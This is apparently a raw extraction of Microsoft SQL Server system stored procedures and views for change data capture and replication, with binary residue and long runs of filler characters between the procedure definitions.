END
0t)f@ >8
create procedure sys.sp_cdc_get_job_parameters
(
	@pollinginterval bigint output,
	@continuous bit output,
	@maxscans int output,
	@maxtrans int output
)
with execute as 'dbo'
as
begin
	set nocount on	
	
    if (object_id('msdb.dbo.cdc_jobs') is null) or
		not exists
		(
			select *
			from msdb.dbo.cdc_jobs
			where database_id = db_id()
			and job_type = N'capture'
		)
	begin
		raiserror(22997, 16, -1, N'capture')
		return (1)
	end
		
	select @pollinginterval = pollinginterval
			,@continuous = continuous
			,@maxtrans = maxtrans
			,@maxscans = maxscans
	from msdb.dbo.cdc_jobs
	where database_id = db_id()
    and job_type = N'capture'

	return 0

end

--
-- Name: sp_MScdc_capture_job
--
-- Descriptions: This proc calls sp_cdc_scan pulling the parameters to
--				 drive execution from msdb.dbo.cdc_jobs 
--
-- Parameters: 
--	none.
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: public, sysadmin or DBO only
--
raiserror(15339,-1,-1,'[sys].[sp_MScdc_capture_job]')
0~@ 8
create procedure sys.sp_MSsettopology
	@server nvarchar(258), @X int, @Y int
as
	/* empty */
	return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!{F
`<JcOCˢ0́@ T8create procedure sys.sp_MSrepl_changesubscriber
(
	@subscriber						sysname,
	@type							tinyint,
	@login							sysname,
	@password						sysname,
	@commit_batch_size				int,
	@status_batch_size				int,
	@flush_frequency				int,
	@frequency_type					int,
	@frequency_interval				int,
	@frequency_relative_interval	int,
	@frequency_recurrence_factor	int,
	@frequency_subday				int,
	@frequency_subday_interval		int,
	@active_start_time_of_day		int,
	@active_end_time_of_day			int,
	@active_start_date				int,
	@active_end_date				int,
	@description					nvarchar (255),
	@security_mode					int,
	@publisher						sysname,
	@publisher_type					sysname
)
AS
BEGIN
    DECLARE @distributor	sysname
    DECLARE @distribdb		sysname
    DECLARE @distproc		nvarchar (300)
    DECLARE @msg			nvarchar(255)
    DECLARE @retcode		int
    DECLARE @platform_nt	binary
    DECLARE @srvname		sysname
    
    SELECT @srvname = publishingservername()

	-- Set publisher name for SQL Servers
	IF (@publisher IS NULL) AND (@publisher_type = N'MSSQLSERVER')
		SET @publisher = @srvname

     /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    select @platform_nt = 0x1

    IF (UPPER(@subscriber) = UPPER(@srvname)
		AND @platform_nt != ( platform() & @platform_nt ) AND @security_mode = 1)
    BEGIN
        RAISERROR(21038, 16, -1)
        RETURN (1)
    END

    /*
    ** Get distribution server information for remote RPC
    ** subscription calls.
    */
    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT,
											@distribdb = @distribdb OUTPUT,
											@publisher = @publisher

    IF @@ERROR <> 0 OR @retcode <> 0
    BEGIN
        RAISERROR (14071, 16, -1)
        RETURN (1)
    END

    DECLARE @intnull int

    /*
    ** Update MSsubscriber_info
    */
    SELECT @distproc =	QUOTENAME(RTRIM(@distributor)) + '.' +
						QUOTENAME(RTRIM(@distribdb)) + '.dbo.sp_MSupdate_subscriber_info'

    EXEC @retcode = @distproc
					@publisher,
					@subscriber,
					@type,
					@login,
					@password,
					@commit_batch_size,
					@status_batch_size,
					@flush_frequency,
					@frequency_type,
					@frequency_interval,
					@frequency_relative_interval,
					@frequency_recurrence_factor,
					@frequency_subday,
					@frequency_subday_interval,
					@active_start_time_of_day,
					@active_end_time_of_day,
					@active_start_date,
					@active_end_date,
					@retryattempts = @intnull,
					@retrydelay  = @intnull,
					@description = @description,
					@security_mode = @security_mode
					
    IF @@ERROR <> 0 OR @retcode <> 0
	BEGIN
		RAISERROR (14048, 16, -1, @subscriber)
		RETURN (1)
	END
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`T<
d**06 	8
create procedure sys.sp_column_privileges_rowset
(
    @table_name         sysname,
    @table_schema       sysname = null,
    @column_name        sysname = null,
    @grantor            sysname = null,
    @grantee            sysname = null
)
as
    select -- Rows for explicitly set database permissions.
        GRANTOR         = s_cpsv.GRANTOR,
        GRANTEE         = s_cpsv.GRANTEE,
        TABLE_CATALOG   = s_cpsv.TABLE_CATALOG,
        TABLE_SCHEMA    = s_cpsv.TABLE_SCHEMA,
        TABLE_NAME      = s_cpsv.TABLE_NAME,
        COLUMN_NAME     = s_cpsv.COLUMN_NAME,
        COLUMN_GUID     = s_cpsv.COLUMN_GUID,
        COLUMN_PROPID   = s_cpsv.COLUMN_PROPID,
        PRIVILEGE_TYPE  = s_cpsv.PRIVILEGE_TYPE,
        IS_GRANTABLE    = s_cpsv.IS_GRANTABLE
    from
        sys.spt_column_privileges_set_view s_cpsv
    where
        (
            (@table_schema is null and s_cpsv.TABLE_NAME = @table_name) or
            s_cpsv.object_id = object_id(quotename(@table_schema) + '.' + quotename(@table_name))
        ) and
        (@column_name is null or @column_name = s_cpsv.COLUMN_NAME) and
        (@grantor is null or @grantor = s_cpsv.GRANTOR) and
        (@grantee is null or @grantee = s_cpsv.GRANTEE)

    union all

    select -- Add rows for table owner
        GRANTOR         = s_cpov.GRANTOR,
        GRANTEE         = s_cpov.GRANTEE,
        TABLE_CATALOG   = s_cpov.TABLE_CATALOG,
        TABLE_SCHEMA    = s_cpov.TABLE_SCHEMA,
        TABLE_NAME      = s_cpov.TABLE_NAME,
        COLUMN_NAME     = s_cpov.COLUMN_NAME,
        COLUMN_GUID     = s_cpov.COLUMN_GUID,
        COLUMN_PROPID   = s_cpov.COLUMN_PROPID,
        PRIVILEGE_TYPE  = s_cpov.PRIVILEGE_TYPE,
        IS_GRANTABLE    = s_cpov.IS_GRANTABLE
    from
        sys.spt_column_privileges_owner_view s_cpov
    where
        (
            (@table_schema is null and s_cpov.TABLE_NAME = @table_name) or
            s_cpov.object_id = object_id(quotename(@table_schema) + '.' + quotename(@table_name))
        ) and
        (@column_name is null or @column_name = s_cpov.COLUMN_NAME) and
        (@grantor is null or @grantor = s_cpov.GRANTOR) and
        (@grantee is null or @grantee = s_cpov.GRANTEE)

    order by 4, 5, 6, 9, 1, 2
06 	8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_column_privileges_rowset;2
(
    @table_schema       sysname = null,
    @column_name        sysname = null,
    @grantor            sysname = null,
    @grantee            sysname = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select -- Rows for explicitly set database permissions.
        GRANTOR         = s_cpsv.GRANTOR,
        GRANTEE         = s_cpsv.GRANTEE,
        TABLE_CATALOG   = s_cpsv.TABLE_CATALOG,
        TABLE_SCHEMA    = s_cpsv.TABLE_SCHEMA,
        TABLE_NAME      = s_cpsv.TABLE_NAME,
        COLUMN_NAME     = s_cpsv.COLUMN_NAME,
        COLUMN_GUID     = s_cpsv.COLUMN_GUID,
        COLUMN_PROPID   = s_cpsv.COLUMN_PROPID,
        PRIVILEGE_TYPE  = s_cpsv.PRIVILEGE_TYPE,
        IS_GRANTABLE    = s_cpsv.IS_GRANTABLE
    from
        sys.spt_column_privileges_set_view s_cpsv
    where
        (@table_schema is null or schema_id(@table_schema) = s_cpsv.schema_id) and -- check schema
        (@column_name is null or @column_name = s_cpsv.COLUMN_NAME) and
        (@grantor is null or @grantor = s_cpsv.GRANTOR) and
        (@grantee is null or @grantee = s_cpsv.GRANTEE)

    union all

    select -- Add rows for table owner
        GRANTOR         = s_cpov.GRANTOR,
        GRANTEE         = s_cpov.GRANTEE,
        TABLE_CATALOG   = s_cpov.TABLE_CATALOG,
        TABLE_SCHEMA    = s_cpov.TABLE_SCHEMA,
        TABLE_NAME      = s_cpov.TABLE_NAME,
        COLUMN_NAME     = s_cpov.COLUMN_NAME,
        COLUMN_GUID     = s_cpov.COLUMN_GUID,
        COLUMN_PROPID   = s_cpov.COLUMN_PROPID,
        PRIVILEGE_TYPE  = s_cpov.PRIVILEGE_TYPE,
        IS_GRANTABLE    = s_cpov.IS_GRANTABLE
    from
        sys.spt_column_privileges_owner_view s_cpov
    where
        (@table_schema is null or schema_id(@table_schema) = s_cpov.schema_id) and -- check schema
        (@column_name is null or @column_name = s_cpov.COLUMN_NAME) and
        (@grantor is null or @grantor = s_cpov.GRANTOR) and
        (@grantee is null or @grantee = s_cpov.GRANTEE)

    order by 4, 5, 6, 9, 1, 2
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!h	`\M<veD]v04J 8create procedure sys.sp_MSupdatelastsyncinfo
    @publisher      sysname,                    -- publishing server name
    @publisher_db   sysname,                    -- publishing database name. If NULL then same as current db
    @publication    sysname,                    -- publication name,
    @subscription_type int,
    @last_sync_status     int,
    @last_sync_summary     sysname
AS
    set nocount on
    declare @retcode int

    --  Security Check
    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @@ERROR <> 0 or @retcode <> 0
        RETURN(1)

    if object_id('dbo.MSsubscription_agents') is null
        return(1)

    -- For non independent agent publications
    if @publication is null or @publication = ''
        set @publication = 'ALL'

    if not exists (select * from MSsubscription_agents where
            UPPER(publisher) = UPPER(@publisher)
            and publisher_db =  @publisher_db
            and publication = @publication
            and subscription_type = @subscription_type)
    begin
        exec sys.sp_MSinit_subscription_agent
            @publisher,
            @publisher_db,
            @publication,
            @subscription_type
    end

    update MSsubscription_agents set     
        last_sync_time = getdate(), 
        last_sync_status = @last_sync_status, 
        last_sync_summary = @last_sync_summary
        where UPPER(publisher) = UPPER(@publisher)
            and publisher_db =  @publisher_db
            and publication = @publication
            and subscription_type = @subscription_type

    update MSreplication_subscriptions set
        time = convert(smalldatetime, getdate()) 
    WHERE UPPER(publisher) = UPPER(@publisher) AND
        publisher_db  = @publisher_db AND
        ((@publication = N'ALL' and independent_agent = 0) or 
        @publication = publication) and
        subscription_type = @subscription_type
0M 
8
create view sys.spt_table_type_primary_keys_view
as
    select
    -- begin (for doing joins)
        object_id       = ta.type_table_object_id,
        schema_id       = ta.schema_id,
    -- end (for doing joins)
        TABLE_CATALOG   = db_name(),
        TABLE_SCHEMA    = schema_name(ta.schema_id),
        TABLE_NAME      = ta.name,
        COLUMN_NAME     = col_name(ta.type_table_object_id, ic.column_id),
        COLUMN_GUID     = convert(uniqueidentifier,null),
        COLUMN_PROPID   = convert(int,null),
        ORDINAL         = convert(int,ic.key_ordinal),
        PK_NAME         = i.name
    from
        sys.table_types ta inner join
        sys.indexes i on
            (
                ta.type_table_object_id = i.object_id
            ) inner join
        sys.index_columns ic on
            (
                ta.type_table_object_id = ic.object_id and
                i.index_id = ic.index_id
            )
     where
        i.is_primary_key = 1

0}~N J8create procedure sys.sp_replsqlqgetrows 
(
	@publisher sysname
	,@publisherdb sysname
	,@publication sysname
	,@batchsize int = 1000
)
as
begin
	set nocount on
	set implicit_transactions off
	declare @retcode int
	declare @nomesgs TABLE (tranid sysname, datalen int, data varbinary(8000),
			commandtype int, insertdate datetime, orderkey bigint, cmdstate bit)
	--
	-- Security check
	--
	exec @retcode = sp_MSreplcheck_subscribe
	if @@error != 0 or @retcode != 0
		return 1
	--
	-- does the queue table exist
	--
	if exists (select * from sys.objects where name = 'MSreplication_queue')
	begin
		declare @totcommandcount bigint
				,@trancount bigint
				,@tranid sysname
				,@curtrancommandcount bigint
				, @batchcount bigint
		declare @trantab table (tranid sysname primary key)
		--
		-- does the tran info table exist
		--
		if not exists (select * from sys.objects where name = 'MSrepl_queuedtraninfo')
		begin
			--
			-- tran info table does not exist - create and populate it
			--
			exec @retcode = sp_MScreate_sub_tables_internal
				@tran_sub_table = 0,
				@property_table = 0,
				@sqlqueue_table = 1
			if  (@@error != 0 or @retcode != 0)
				return 1
		end	
		--
		-- At this point both queue table and tran info table exist
		-- check the command count
		--
		select @totcommandcount = sum(commandcount)
			,@trancount = count(tranid)
		from dbo.MSrepl_queuedtraninfo with (READPAST)
		where publisher = UPPER(@publisher)
			and publisher_db = @publisherdb 
			and publication = @publication

		if (@trancount = 0)
		begin
			--
			-- no committed transactions
			-- send empty rowset
			--
			select * from @nomesgs
		end
		else		
		begin
			--
			-- prepare a list of transactions to read
			--
			select @batchcount = 0
			declare #htcdataseq cursor local for
				select tranid, commandcount
				from dbo.MSrepl_queuedtraninfo with (READPAST) 
				where publisher = UPPER(@publisher) 
					and publisher_db = @publisherdb 
					and publication = @publication
				order by maxorderkey asc
			open #htcdataseq
			fetch #htcdataseq into @tranid, @curtrancommandcount
			if (@@error != 0)
				return 1
			while (@@fetch_status != -1)
			begin
				--
				-- Are we done
				--
				if (@batchcount > @batchsize)
				begin
					--
					-- we are done selecting the transactions to process
					--
					break
				end
				else
				begin
					--
					-- include this transaction
					-- update the batch counter
					--
					insert into @trantab (tranid) values (@tranid)
					if (@@error != 0)
						return 1
					select @batchcount = @batchcount + @curtrancommandcount
				end
				--
				-- fetch next transaction to process
				--
				fetch #htcdataseq into @tranid, @curtrancommandcount
			end
			close #htcdataseq
			deallocate #htcdataseq
			if (@@error != 0)
				return 1
			--
			-- do the join for the select transactions
			-- select the transactions in the order they were committed (maxorderkey ascending).
			-- for each transaction - the commands are ordered using orderkey (ascending)
			-- we do not want to take any locks to block the commit(delete) operations on queue
			--
			select q.tranid, q.datalen, q.data, q.commandtype, q.insertdate, q.orderkey, q.cmdstate 
			from (dbo.MSreplication_queue as q with (NOLOCK) 
				join (dbo.MSrepl_queuedtraninfo as t with (NOLOCK)
					join @trantab as tt
					on t.tranid = tt.tranid collate database_default) 
				on q.publisher = t.publisher
					and q.publisher_db = t.publisher_db 
					and q.publication = t.publication
					and q.tranid = t.tranid)
			where t.publisher = UPPER(@publisher)
				and t.publisher_db = @publisherdb 
				and t.publication = @publication
			order by t.maxorderkey asc, q.orderkey asc
		end -- else block for if (@trancount = 0)
	end -- if block for exists MSreplication_queue
	else
	begin
		--
		-- Queue table does not exist
		-- send empty rowset
		--
		select * from @nomesgs
	end	
	--
	-- check error
	--
	if (@@error != 0)
		return 1
	--
	-- All done
	--
	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!u1d,"`	W	<!f1Yj0 8create procedure sys.sp_get_job_status_mergepushsubscription_agent
(
	@agent_name nvarchar(100),
    @runstatus         int output  
)
as
begin
    set nocount on
    declare @retcode            int
    declare @job_id             uniqueidentifier
	declare @step_uid           uniqueidentifier
  
	select @runstatus  = NULL   
   
    select @job_id = sjs.job_id,
	       @step_uid = sjs.step_uid
          from MSmerge_agents ma
    inner join msdb.dbo.sysjobsteps sjs
            on ma.job_step_uid = sjs.step_uid
    inner join msdb.dbo.sysjobs_view sjv
            on sjv.job_id = sjs.job_id
           where ma.name=	@agent_name          
           and sjv.master_server = 0
           and sjv.category_id = 14
           and sjs.subsystem = N'Merge'
           and (sjs.database_name is null or sjs.database_name = db_name())
   

    if @job_id is null
    begin
        -- "Could not find a merge agent job for the specified merge push subscription."
        raiserror(21847, 16, -1)
        return 1
    end

	-- this table  holds  only single row
    declare @job_info table( 
		 runstatus 	int,
		 message 		nvarchar(1024),
		 date 			int,		
		 time 			int,		
		 datetime		nvarchar(50)		 	
		)
		

	insert into @job_info exec sp_MSenum_replication_job @job_id=@job_id,@step_uid=@step_uid 
	select top 1 @runstatus=runstatus from @job_info

end
0 8CREATE PROCEDURE sys.sp_MSdrop_merge_subscription
(
    @publisher          sysname,
    @publisher_db       sysname,
    @publication        sysname,
    @subscriber         sysname,
    @subscriber_db      sysname,
    @subscription_type  nvarchar(15) = 'push'           /* Subscription type - push, pull, both */ 
)
as
begin
    set nocount on

    declare @publisher_id smallint
    declare @subscriber_id smallint
    declare @retcode int
    declare @publication_id int
    declare @job_id binary(16)
    declare @thirdparty_flag bit
    declare @id                 int
    declare @keep_for_last_run  bit

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSdrop_merge_subscription', 'distribution')
        return (1)
    end
    -- Check if publisher is a defined as a distribution publisher in the current database
    exec @retcode = sys.sp_MSvalidate_distpublisher @publisher, @publisher_id OUTPUT
    if @retcode <> 0
    begin
        return(1)
    end

    -- Get the publication information 
    select @publication_id = publication_id,
        @thirdparty_flag = thirdparty_flag
        from dbo.MSpublications where
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        publication = @publication
    if @publication_id is NULL
    begin
    	raiserror(20026, 16, -1, @publication)
        return (1)
    end

    -- Check if subscriber exists
    select @subscriber_id = srvid from master..sysservers where UPPER(srvname) = UPPER(@subscriber) 
    if @subscriber_id is NULL
    begin
	    if not exists (select * from MSmerge_subscriptions where 
	        publisher_id = @publisher_id and 
	        publisher_db = @publisher_db and 
	        publication_id = @publication_id and
	        UPPER(subscriber) = UPPER(@subscriber) and
	        subscriber_db = @subscriber_db)
	    begin
            raiserror (20032, 16, -1, @subscriber, @publisher) 
    	    return (1)
		end    	    
    end

    -- Check that subscription exists
    if not exists (select * from dbo.MSmerge_subscriptions where 
        publisher_id = @publisher_id and 
        publisher_db = @publisher_db and 
        publication_id = @publication_id and
        UPPER(subscriber) = UPPER(@subscriber) and
        subscriber_db = @subscriber_db)
    begin
        if @thirdparty_flag = 1
        begin
            --UNDONE : Add this back again when we add pull subscriptions metedata at the distributor
            --raiserror (14050, 10, -1)
            return(1)
        end
        else
            return (0)
    end

    begin tran
    save transaction MSdrop_merge_subscription

    -- Delete the subscription 
    -- For anonymous type, delete virtual anonymous subscription also
    -- if deleting the  virtual subscription 
    -- (since there can be only one subscriber_id per article, subscriber_db doesn't matter)
    delete from dbo.MSmerge_subscriptions where
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        publication_id = @publication_id and
        UPPER(subscriber) = UPPER(@subscriber) and
        subscriber_db = @subscriber_db
    if @@error <> 0
    begin
        goto FAILURE
    end

    /*
    ** Get agentid to check history record
    */
    select @id=id from dbo.MSmerge_agents where 
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        publication = @publication and
        UPPER(subscriber_name) = UPPER(@subscriber) and
        subscriber_db = @subscriber_db

    /*
    ** If the subscription has not yet been synced, there is no need for subscriber side cleanup 
    ** therefore no need for the last agent run.
    */
    if exists (select * from dbo.MSmerge_history where agent_id = @id) and @subscription_type='push'
        select @keep_for_last_run = 0 -- cleanup code is not activated.
    else 
        select @keep_for_last_run = 0
    
    /*
    ** Delete Merge agent and meta data, if it exists
    */
    EXECUTE @retcode = sys.sp_MSdrop_merge_agent 
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @subscriber = @subscriber,
        @subscriber_db = @subscriber_db,
        @keep_for_last_run = @keep_for_last_run
    if @@error <> 0 or @retcode <> 0
    begin
        goto FAILURE
    end

    commit transaction
    return 0
FAILURE:
    if @@trancount > 0
    begin   
        ROLLBACK TRANSACTION MSdrop_merge_subscription
        COMMIT TRANSACTION
    end
    return 1
end
0Κ 8create procedure sys.sp_cdc_help_jobs
as
begin

    declare @retcode int

    --
    -- Job security check proc
    --
    exec @retcode = [sys].[sp_MScdc_job_security_check]
    if @retcode <> 0 or @@error <> 0
        return(1)
        
    -- Verify database is currently enabled for change data capture
    if ([sys].[fn_cdc_is_db_enabled]() != 1)
    begin
		declare @db_name sysname
		set @db_name = db_name()
		raiserror(22901, 16, -1, @db_name)
        return 1
    end
        
	exec @retcode = sys.sp_cdc_help_jobs_internal
	
	if @@error <> 0 or @retcode <> 0
		return 1
		
	return 0
end		
